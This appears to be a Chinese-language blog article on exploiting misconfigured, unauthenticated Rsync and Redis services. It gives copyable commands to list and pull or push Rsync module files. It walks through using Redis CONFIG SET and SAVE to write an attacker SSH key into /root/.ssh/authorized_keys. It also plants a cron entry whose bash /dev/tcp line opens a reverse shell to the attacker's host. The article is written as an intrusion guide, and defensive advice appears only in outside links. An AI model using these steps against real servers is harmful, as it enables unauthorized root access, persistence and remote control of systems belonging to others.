Rsync和Redis未授权访问导致的问题

Rsync未授权访问

Rsync,即Remote synchronize远程同步。通常运行在873端口,它是一款用来实现远程同步功能的免费软件,在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 Rsync使用算法提供了一个客户机和远程文件服务器的文件同步的快速方法,并且可以通过ssh隧道的方式来传输文件。Rsync配置不当可造成未授权直接访问,漏洞具体表现为,当我们向某个Rsync服务器发送命令rsync xx.xx.xx.xx::时服务器会罗列出允许进行远程同步操作的文件目录。Rsync简单的一些命令有:

rsync xx.xx.xx.xx:: # 罗列出模块
rsync xx.xx.xx.xx::<模块名> # 进入模块
rsync -a xx.xx.xx.xx::<模块名> # 完整列出某个模块中的文件
rsync xx.xx.xx.xx::<模块路径/文件> <本地路径/文件> # 将模块中某个文件下载至本地
rsync <本地路径/文件> root@xx.xx.xx.xx::<模块路径/文件> # 将本地文件上传到同步目录中

可以看出如果服务器的web目录可以同步的话可以直接上传一个webshell,甚至于当服务器的任务计划目录允许远程同步时可以直接反弹得到一个shell。瞌睡龙对Rsync的安全配置做了整理:http://drops.wooyun.org/papers/161 乌云上也有利用Rsync进行反弹shell的经典案例:http://wooyun.org/bugs/wooyun-2010-034232

Redis未授权访问

Redis也存在未授权访问的问题。Redis默认情况下会绑定在6379端口,在没有开启认证的条件下,可以导致任意用户未授权访问Redis数据库。服务器为Windows时,利用Redis的一些方法向服务器web目录写入文件,从而可以得到一个webshell,不过在这之前必须要知道web的绝对路径。这篇文章中给出了可参考的方法:http://www.secpulse.com/archives/5357.html,下面主要说说Linux,Linux当中有两种非常好的利用方式:

向服务器写入公钥进行ssh登录

当然先决条件是服务器允许ssh登录。
首先在本地生成个人公私钥:

ssh-keygen -t rsa

然后将公钥写入一个txt文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接远程的Redis并将foo.txt中的内容写进服务器:

cat foo.txt | redis-cli -h xx.xx.xx.xx -x set crackit
redis-cli -h xx.xx.xx.xx
xx.xx.xx.xx:6379> config set dir /root/.ssh/
xx.xx.xx.xx:6379> config get dir
xx.xx.xx.xx:6379> config set dbfilename "authorized_keys"
xx.xx.xx.xx:6379> save

这样就可以成功的将自己的公钥写入/root/.ssh下的authotrized_keys文件里,然后执行ssh –i id_rsa root@xx.xx.xx.xx,即利用私钥登录该服务器。

利用任务计划反弹shell

由于Redis提供的方法可以向服务器写入文件,从而可以在cron目录中写入一个任务计划反弹出一个shell。

以CentOS为例,首先在本地执行:

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 \n\n" | redis-cli -h xx.xx.xx.xx -x set 1

然后登录远程服务器的Redis保存这个任务计划:

redis-cli -h xx.xx.xx.xx
xx.xx.xx.xx:6379> config set dir /var/spool/cron/
xx.xx.xx.xx:6379> config set dbfilename root
xx.xx.xx.xx:6379> save

此时在vps上坐等收shell即可。

* 转载请注明作者及来源